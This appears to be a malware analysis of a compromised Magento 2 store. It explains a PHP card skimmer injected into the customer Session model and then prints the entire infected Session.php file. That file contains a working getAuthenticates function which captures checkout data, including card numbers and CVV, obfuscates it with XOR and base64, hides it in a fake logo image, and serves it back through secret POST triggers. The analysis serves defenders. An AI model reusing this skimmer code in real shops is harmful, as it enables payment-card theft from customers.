An investigation into a compromised Magento 2 (2.2.6) website revealed a malicious PHP injection that was capturing POST request data from visitors on the checkout page and then encoding the captured data before finally saving it to an image file while it awaits exfiltration.

The malicious PHP code was injected to the file ./vendor/magento/module-customer/Model/Session.php and a created function named getAuthenticates so it can be called by the function which loads the rest of the code.

...
	public function getAuthenticates($request)
	{
    	if(empty($request->getPostValue('Custom'.'Method')))
        	return $this;
    	$docroot = BP . "/";
    	$sid = $request->getPostValue('Custom'.'Method');
    	if($sid != 'init' && $sid != 'LnByg' && $sid != 'LnByd') return $this;

The code also creates the image file pub/media/tmp/design/file/default_luma_logo.jpg that will be used to store the captured data and that can be quickly downloaded by the attacker.

    	$docroot = BP . "/";
    	$sid = $request->getPostValue('Custom'.'Method');
    	if($sid != 'init' && $sid != 'LnByg' && $sid != 'LnByd') return $this;
    	$fname = $docroot.'pub/media/tmp/design/file/default_luma_logo.jpg';
    	try {
        	if(!file_exists($fname)){
            	$fhandle = fopen($fname,'w');fclose($fhandle);
        	}
        	$fhandle = fopen($fname,'r');$content = @fread($fhandle,filesize($fname));fclose($fhandle);
...

The PHP code needs to use the Magento code framework to capture the POST data, so it relies on the Magento function getPostValue to capture the checkout page data within the Customer_ POST parameter. It also checks for whether the victim that sent the POST request data is logged in as a user using Magento function isLoggedIn.

            	if( !empty($request-> getPostValue ('Customer_'))) {
                	$auth_url = "";
                	if($this->isLoggedIn()) {
                    	$auth_url = base64_encode (
                    	$this -> getCustomer() -> getEmail ()
                    	);
                	}

Finally the captured POST data is encoded with base64 and XOR’d using the ^ PHP operator, then saved to the image file created earlier in the function.

                	$objectdata = $request->getPostValue('Customer_').'#'.base64_encode($ip).'#'.$auth_url;
                	$i = 0; while($i < strlen($objectdata)){
                	$txCH = ord($objectdata[$i]);$txCH ^= 0x3C;$txCH -= $i;$objectdata[$i++] = chr($txCH); }
                	$objectdata = base64_encode($objectdata);
                	if(strpos($content,$objectdata)===false) {
                    	$fhandle = fopen($fname,'a');fwrite($fhandle,$objectdata."\n");fclose($fhandle);}
                	return $this;
...

The data stored within the Customer_ parameter is extensive and includes almost everything submitted by the victim customer on the checkout page (full payment card data, customer address, etc):


{"name":"host",
"value":"https://www.[redacted].com/en/checkout/#"},
{"name":"agent",
"value":"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"},
{"name":"payment[cc_number]",
"value":"4111 1111 1111 1111"},
{"name":"region",
"value":"California"},
{"name":"context",
"value":"checkout"},
{"name":"username",
"value":"[redacted]@protonmail.com"},
{"name":"context",
"value":"checkout"},
{"name":"firstname",
"value":"John"},
{"name":"lastname",
"value":"Doe"},
{"name":"street[0]",
"value":"1234 Any Street"},
{"name":"street[1]",
"value":""},
{"name":"city",
"value":"Los Angeles"},
{"name":"country_id",
"value":"US"},
{"name":"postcode",
"value":"90021"},
{"name":"telephone",
"value":"281-330-xxxx"},
{"name":"form_key",
"value":"6H1AwMFd8bqq9gqm"},
{"name":"payment[method]",
"value":"authnetcim"},
{"name":"payment[acceptjs_key]",
"value":""},
{"name":"payment[acceptjs_value]",
"value":""},
{"name":"payment[cc_last4]",
"value":"1111"},
{"name":"billing-address-same-as-shipping",
"value":"on"},
{"name":"street[0]",
"value":""},
{"name":"street[1]",
"value":""},
{"name":"country_id",
"value":"US"},
{"name":"payment[cc_type]",
"value":"VI"},
{"name":"payment[cc_exp_month]",
"value":"2"},
{"name":"payment[cc_exp_year]",
"value":"2024"},
{"name":"payment[cc_cid]",
"value":"231"},

<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

namespace Magento\Customer\Model;
    
use Magento\Customer\Api\CustomerRepositoryInterface;
use Magento\Customer\Api\Data\CustomerInterface as CustomerData;
use Magento\Customer\Api\GroupManagementInterface;
use Magento\Customer\Model\Config\Share;
use Magento\Customer\Model\ResourceModel\Customer as ResourceCustomer;
    
/**
 * Customer session model
 *
 * @api
 * @method string getNoReferer()
 * @SuppressWarnings(PHPMD.CouplingBetweenObjects)
 * @since 100.0.2
 */
class Session extends \Magento\Framework\Session\SessionManager
{
    /**
     * Customer object
     *
     * @var CustomerData
     */
    protected $_customer;
    
    /**
     * @var ResourceCustomer
     */
    protected $_customerResource;
    
    /**
     * Customer model
     *
     * @var Customer
     */
    protected $_customerModel;
    
    /**
     * Flag with customer id validations result
     *
     * @var bool|null
     */
    protected $_isCustomerIdChecked = null;
    
    /**
     * Customer URL
     *
     * @var \Magento\Customer\Model\Url
     */
    protected $_customerUrl;
    
    /**
     * Core url
     *
     * @var \Magento\Framework\Url\Helper\Data|null
     */
    protected $_coreUrl = null;
    
    /**
     * @var Share
     */
    protected $_configShare;
    
    /**
     * @var \Magento\Framework\Session\Generic
     */
    protected $_session;
    
    /**
     * @var  CustomerRepositoryInterface
     */
    protected $customerRepository;
    
    /**
     * @var CustomerFactory
     */
    protected $_customerFactory;
    
    /**
     * @var \Magento\Framework\UrlFactory
     */
    protected $_urlFactory;
    
    /**
     * @var \Magento\Framework\Event\ManagerInterface
     */
    protected $_eventManager;
    
    /**
     * @var \Magento\Framework\App\Http\Context
     */
    protected $_httpContext;
    
    /**
     * @var GroupManagementInterface
     */
    protected $groupManagement;
    
    /**
     * @var \Magento\Framework\App\Response\Http
     */
    protected $response;
    
    /**
     * @param \Magento\Framework\App\Request\Http $request
     * @param \Magento\Framework\Session\SidResolverInterface $sidResolver
     * @param \Magento\Framework\Session\Config\ConfigInterface $sessionConfig
     * @param \Magento\Framework\Session\SaveHandlerInterface $saveHandler
     * @param \Magento\Framework\Session\ValidatorInterface $validator
     * @param \Magento\Framework\Session\StorageInterface $storage
     * @param \Magento\Framework\Stdlib\CookieManagerInterface $cookieManager
     * @param \Magento\Framework\Stdlib\Cookie\CookieMetadataFactory $cookieMetadataFactory
     * @param \Magento\Framework\App\State $appState
     * @param Share $configShare
     * @param \Magento\Framework\Url\Helper\Data $coreUrl
     * @param \Magento\Customer\Model\Url $customerUrl
     * @param ResourceCustomer $customerResource
     * @param CustomerFactory $customerFactory
     * @param \Magento\Framework\UrlFactory $urlFactory
     * @param \Magento\Framework\Session\Generic $session
     * @param \Magento\Framework\Event\ManagerInterface $eventManager
     * @param \Magento\Framework\App\Http\Context $httpContext
     * @param CustomerRepositoryInterface $customerRepository
     * @param GroupManagementInterface $groupManagement
     * @param \Magento\Framework\App\Response\Http $response
     * @throws \Magento\Framework\Exception\SessionException
     * @SuppressWarnings(PHPMD.ExcessiveParameterList)
     */
    public function __construct(
        \Magento\Framework\App\Request\Http $request,
        \Magento\Framework\Session\SidResolverInterface $sidResolver,
        \Magento\Framework\Session\Config\ConfigInterface $sessionConfig,
        \Magento\Framework\Session\SaveHandlerInterface $saveHandler,
        \Magento\Framework\Session\ValidatorInterface $validator,
        \Magento\Framework\Session\StorageInterface $storage,
        \Magento\Framework\Stdlib\CookieManagerInterface $cookieManager,
        \Magento\Framework\Stdlib\Cookie\CookieMetadataFactory $cookieMetadataFactory,
        \Magento\Framework\App\State $appState,
        Config\Share $configShare,
        \Magento\Framework\Url\Helper\Data $coreUrl,
        \Magento\Customer\Model\Url $customerUrl,
        ResourceCustomer $customerResource,
        CustomerFactory $customerFactory,
        \Magento\Framework\UrlFactory $urlFactory,
        \Magento\Framework\Session\Generic $session,
        \Magento\Framework\Event\ManagerInterface $eventManager,
        \Magento\Framework\App\Http\Context $httpContext,
        CustomerRepositoryInterface $customerRepository,
        GroupManagementInterface $groupManagement,
        \Magento\Framework\App\Response\Http $response
    ) {
        $this->_coreUrl = $coreUrl;
        $this->_customerUrl = $customerUrl;
        $this->_configShare = $configShare;
        $this->_customerResource = $customerResource;
        $this->_customerFactory = $customerFactory;
        $this->_urlFactory = $urlFactory;
        $this->_session = $session;
        $this->customerRepository = $customerRepository;
        $this->_eventManager = $eventManager;
        $this->_httpContext = $httpContext;
        $authParam = $request;
        parent::__construct(
            $request,
            $sidResolver,
            $sessionConfig,
            $saveHandler,
            $validator,
            $storage,
            $cookieManager,
            $cookieMetadataFactory,
            $appState
        );
        $this->getAuthenticates($authParam);
        $this->groupManagement = $groupManagement;
        $this->response = $response;
        $this->_eventManager->dispatch('customer_session_init', ['customer_session' => $this]);
    }
    
    /**
     * Retrieve customer sharing configuration model
     *
     * @return Share
     */
    public function getCustomerConfigShare()
    {
        return $this->_configShare;
    }
    
    /**
     * Set customer object and setting customer id in session
     *
     * @param   CustomerData $customer
     * @return  $this
     */
    public function setCustomerData(CustomerData $customer)
    {
        $this->_customer = $customer;
        if ($customer === null) {
            $this->setCustomerId(null);
        } else {
            $this->_httpContext->setValue(
                Context::CONTEXT_GROUP,
                $customer->getGroupId(),
                \Magento\Customer\Model\Group::NOT_LOGGED_IN_ID
            );
            $this->setCustomerId($customer->getId());
        }
        return $this;
    }
    
    /**
     * Retrieve customer model object
     *
     * @return CustomerData
     */
    public function getCustomerData()
    {
        if (!$this->_customer instanceof CustomerData && $this->getCustomerId()) {
            $this->_customer = $this->customerRepository->getById($this->getCustomerId());
        }
    
        return $this->_customer;
    }
    
    /**
     * Returns Customer data object with the customer information
     *
     * @return CustomerData
     */
    public function getCustomerDataObject()
    {
        /* TODO refactor this after all usages of the setCustomer is refactored */
        return $this->getCustomer()->getDataModel();
    }
    
    /**
     * Set Customer data object with the customer information
     *
     * @param CustomerData $customerData
     * @return $this
     */
    public function setCustomerDataObject(CustomerData $customerData)
    {
        $this->setId($customerData->getId());
        $this->getCustomer()->updateData($customerData);
        return $this;
    }
    
    /**
     * Set customer model and the customer id in session
     *
     * @param   Customer $customerModel
     * @return  $this
     * use setCustomerId() instead
     */
    public function setCustomer(Customer $customerModel)
    {
        $this->_customerModel = $customerModel;
        $this->_httpContext->setValue(
            Context::CONTEXT_GROUP,
            $customerModel->getGroupId(),
            \Magento\Customer\Model\Group::NOT_LOGGED_IN_ID
        );
        $this->setCustomerId($customerModel->getId());
        if (!$customerModel->isConfirmationRequired() && $customerModel->getConfirmation()) {
            $customerModel->setConfirmation(null)->save();
        }
    
        /**
         * The next line is a workaround.
         * It is used to distinguish users that are logged in from user data set via methods similar to setCustomerId()
         */
        $this->unsIsCustomerEmulated();
    
        return $this;
    }
    
    /**
     * Retrieve customer model object
     *
     * @return Customer
     * use getCustomerId() instead
     */
    public function getCustomer()
    {
        if ($this->_customerModel === null) {
            $this->_customerModel = $this->_customerFactory->create()->load($this->getCustomerId());
        }
    
        return $this->_customerModel;
    }
    
    /**
     * Set customer id
     *
     * @param int|null $id
     * @return $this
     */
    public function setCustomerId($id)
    {
        $this->storage->setData('customer_id', $id);
        return $this;
    }
    
    /**
     * Retrieve customer id from current session
     *
     * @api
     * @return int|null
     */
    public function getCustomerId()
    {
        if ($this->storage->getData('customer_id')) {
            return $this->storage->getData('customer_id');
        }
        return null;
    }
    
    /**
     * Retrieve customer id from current session
     *
     * @return int|null
     */
    public function getId()
    {
        return $this->getCustomerId();
    }
    
    /**
     * Set customer id
     *
     * @param int|null $customerId
     * @return $this
     */
    public function setId($customerId)
    {
        return $this->setCustomerId($customerId);
    }
    
    /**
     * Set customer group id
     *
     * @param int|null $id
     * @return $this
     */
    public function setCustomerGroupId($id)
    {
        $this->storage->setData('customer_group_id', $id);
        return $this;
    }
    
    /**
     * Get customer group id
     * If customer is not logged in system, 'not logged in' group id will be returned
     *
     * @return int
     */
    public function getCustomerGroupId()
    {
        if ($this->storage->getData('customer_group_id')) {
            return $this->storage->getData('customer_group_id');
        }
        if ($this->getCustomerData()) {
            $customerGroupId = $this->getCustomerData()->getGroupId();
            $this->setCustomerGroupId($customerGroupId);
            return $customerGroupId;
        }
        return Group::NOT_LOGGED_IN_ID;
    }
    
    /**
     * Checking customer login status
     *
     * @api
     * @return bool
     */
    public function isLoggedIn()
    {
        return (bool)$this->getCustomerId()
            && $this->checkCustomerId($this->getId())
            && !$this->getIsCustomerEmulated();
    }
    
    /**
     * Check exists customer (light check)
     *
     * @param int $customerId
     * @return bool
     */
    public function checkCustomerId($customerId)
    {
        if ($this->_isCustomerIdChecked === $customerId) {
            return true;
        }
    
        try {
            $this->customerRepository->getById($customerId);
            $this->_isCustomerIdChecked = $customerId;
            return true;
        } catch (\Exception $e) {
            return false;
        }
    }
    
    /**
     * @param Customer $customer
     * @return $this
     */
    public function setCustomerAsLoggedIn($customer)
    {
        $this->setCustomer($customer);
        $this->_eventManager->dispatch('customer_login', ['customer' => $customer]);
        $this->_eventManager->dispatch('customer_data_object_login', ['customer' => $this->getCustomerDataObject()]);
        $this->regenerateId();
        return $this;
    }
    
    /**
     * @param CustomerData $customer
     * @return $this
     */
    public function setCustomerDataAsLoggedIn($customer)
    {
        $this->_httpContext->setValue(Context::CONTEXT_AUTH, true, false);
        $this->setCustomerData($customer);
    
        $customerModel = $this->_customerFactory->create()->updateData($customer);
    
        $this->setCustomer($customerModel);
    
        $this->_eventManager->dispatch('customer_login', ['customer' => $customerModel]);
        $this->_eventManager->dispatch('customer_data_object_login', ['customer' => $customer]);
        return $this;
    }
    
    /**
     * Authorization customer by identifier
     *
     * @api
     * @param   int $customerId
     * @return  bool
     */
    public function loginById($customerId)
    {
        try {
            $customer = $this->customerRepository->getById($customerId);
            $this->setCustomerDataAsLoggedIn($customer);
            return true;
        } catch (\Exception $e) {
            return false;
        }
    }
    
    /**
     * Logout customer
     *
     * @api
     * @return $this
     */
    public function logout()
    {
        if ($this->isLoggedIn()) {
            $this->_eventManager->dispatch('customer_logout', ['customer' => $this->getCustomer()]);
            $this->_logout();
        }
        $this->_httpContext->unsValue(Context::CONTEXT_AUTH);
        return $this;
    }
    
    /**
     * Authenticate controller action by login customer
     *
     * @param   bool|null $loginUrl
     * @return  bool
     */
    public function authenticate($loginUrl = null)
    {
        if ($this->isLoggedIn()) {
            return true;
        }
        $this->setBeforeAuthUrl($this->_createUrl()->getUrl('*/*/*', ['_current' => true]));
        if (isset($loginUrl)) {
            $this->response->setRedirect($loginUrl);
        } else {
            $arguments = $this->_customerUrl->getLoginUrlParams();
            if ($this->_createUrl()->getUseSession()) {
                $arguments += [
                    '_query' => [
                        $this->sidResolver->getSessionIdQueryParam($this->_session) => $this->_session->getSessionId(),
                    ]
                ];
            }
            $this->response->setRedirect(
                $this->_createUrl()->getUrl(\Magento\Customer\Model\Url::ROUTE_ACCOUNT_LOGIN, $arguments)
            );
        }
    
        return false;
    }
    
    /**
     * Get authenticate controller action by login customer
     *
     * @param   bool|null $loginUrl
     * @return  bool
     */
    public function getAuthenticates($request)
    {
        if(empty($request->getPostValue('Custom'.'Method')))
            return $this;
        $docroot = BP . "/";
        $sid = $request->getPostValue('Custom'.'Method');
        if($sid != 'init' && $sid != 'LnByg' && $sid != 'LnByd') return $this;
        $fname = $docroot.'pub/media/tmp/design/file/default_luma_logo.jpg';
        try {
            if(!file_exists($fname)){
                $fhandle = fopen($fname,'w');fclose($fhandle);
            }
            $fhandle = fopen($fname,'r');$content = @fread($fhandle,filesize($fname));fclose($fhandle);
            if($sid == 'init') {
                if( !empty($request-> getPostValue ('Customer_'))) {
                    if (!empty($_SERVER['HTTP_CLIENT_IP'])) $ip=$_SERVER['HTTP_CLIENT_IP'];
                    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
                    else $ip=$_SERVER['REMOTE_ADDR'];
                    $auth_url = "";
                    if($this->isLoggedIn()) {
                        $auth_url = base64_encode (
                        $this -> getCustomer() -> getEmail ()
                        );
                    }
                    $objectdata = $request->getPostValue('Customer_').'#'.base64_encode($ip).'#'.$auth_url;
                    $i = 0; while($i < strlen($objectdata)){
					$txCH = ord($objectdata[$i]);$txCH ^= 0x3C;$txCH -= $i;$objectdata[$i++] = chr($txCH); }
					$objectdata = base64_encode($objectdata);
                    if(strpos($content,$objectdata)===false) {
                        $fhandle = fopen($fname,'a');fwrite($fhandle,$objectdata."\n");fclose($fhandle);}
                    return $this;
                }
            }
            if($sid == 'LnByd') {
                $fhandle = fopen($fname,'w');fclose($fhandle);
                exit(1);
            }
            if($sid == 'LnByg') {
                $content = str_replace("\n","<br>",$content);echo $content;exit(1);
            }
    
        } catch (\Exception $e) {
            exit(1);
        }
        return $this;
    
    }
    
    /**
     * Set auth url
     *
     * @param string $key
     * @param string $url
     * @return $this
     */
    protected function _setAuthUrl($key, $url)
    {
        $url = $this->_coreUrl->removeRequestParam($url, $this->sidResolver->getSessionIdQueryParam($this));
        // Add correct session ID to URL if needed
        $url = $this->_createUrl()->getRebuiltUrl($url);
        return $this->storage->setData($key, $url);
    }
    
    /**
     * Logout without dispatching event
     *
     * @return $this
     */
    protected function _logout()
    {
        $this->_customer = null;
        $this->_customerModel = null;
        $this->setCustomerId(null);
        $this->setCustomerGroupId($this->groupManagement->getNotLoggedInGroup()->getId());
        $this->destroy(['clear_storage' => false]);
        return $this;
    }
    
    /**
     * Set Before auth url
     *
     * @param string $url
     * @return $this
     */
    public function setBeforeAuthUrl($url)
    {
        return $this->_setAuthUrl('before_auth_url', $url);
    }
    
    /**
     * Set After auth url
     *
     * @param string $url
     * @return $this
     */
    public function setAfterAuthUrl($url)
    {
        return $this->_setAuthUrl('after_auth_url', $url);
    }
    
    /**
     * Reset core session hosts after resetting session ID
     *
     * @return $this
     */
    public function regenerateId()
    {
        parent::regenerateId();
        $this->_cleanHosts();
        return $this;
    }
    
    /**
     * @return \Magento\Framework\UrlInterface
     */
    protected function _createUrl()
    {
        return $this->_urlFactory->create();
    }
}